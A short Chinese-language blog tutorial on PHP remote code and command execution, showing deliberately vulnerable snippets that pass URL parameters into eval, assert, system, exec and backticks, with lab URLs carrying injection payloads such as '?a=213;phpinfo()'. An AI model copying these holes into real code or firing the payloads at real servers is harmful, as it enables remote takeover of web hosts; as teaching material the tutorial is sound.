远程代码与命令执行
2023-03-14 22:55:50 时间
1、eval,将字符串当成PHP代码执行
新建php文件,代码如下
eval($_GET['a']); //相当于执行eval(phpinfo())
访问:http://192.168.139.129/?a=phpinfo();
2、assert,判断一个表达式是否成立
新一个PHP文件,代码如下
echo(assert($_GET['a']>3));
传递的参数大于3返回1,小于3,返回错误
3、system,执行系统命令,输出并返回最后一行结果
新建php文件,代码如下
$a= $_GET['a']($_GET['b']);
浏览器访问http://http://192.168.139.129/?a=system&b=dir,
4、exec,执行系统命令,只获取最后一行结果
新建php文件,代码如下
$a= $_GET['a']($_GET['b']); echo $a;
浏览器访问http://http://192.168.139.129/?a=exec&b=dir,
5、 passthru,执行系统命令,把命令的运行结果原样地直接输出到标准输出设备上
6、反引号,直接执行命令
新建php文件,代码如下
echo `ipconfig`;
访问该php文件
7、代码注入:
新建php文件,代码如下
$a= $_GET['a']; eval("echo $a;");
访问http://192.168.139.129/?a=213;phpinfo(),结果如下
禁止非法,后果自负
相关文章
- 使用 Python 脚本轻松剪辑/分割大视频
- HarmonyOS 属性动画扩展
- 看一遍就理解:Group By详解
- 微软太会玩了:悄然更改Win11性能变慢描述 实测问题仍存在
- 聊一聊 Cobbler 3.x 部署实战
- 从Hash Join的执行计划的细节中能看到点啥
- 按下ls -l *.py并回车,Shell都为我们做了什么?
- 日志到底应该怎么打印?
- 前后端接口鉴权全解Cookie/Session/Token的区别
- 四种 Python 连接 MySQL 数据库的方法
- 前端基础知识整理汇总一
- Python 操作 MySQL 数据库的三个模块
- TinyDB 一个纯Python编写的轻量级数据库
- 一张五亿数据量的表执行不了,开发和DBA差点大打出手……
- 太全了!用Python操作MySQL的使用教程集锦!
- 实现动态展示多算法,这个Python库助你发现网络图社区结构
- 相同执行计划,为何有执行快慢的差别
- 如何使用Python算法进行交易
- 5G变1G,线上日志瘦身还有这些骚操作
- 巧用ActionFilterAttribute实现API日志的记录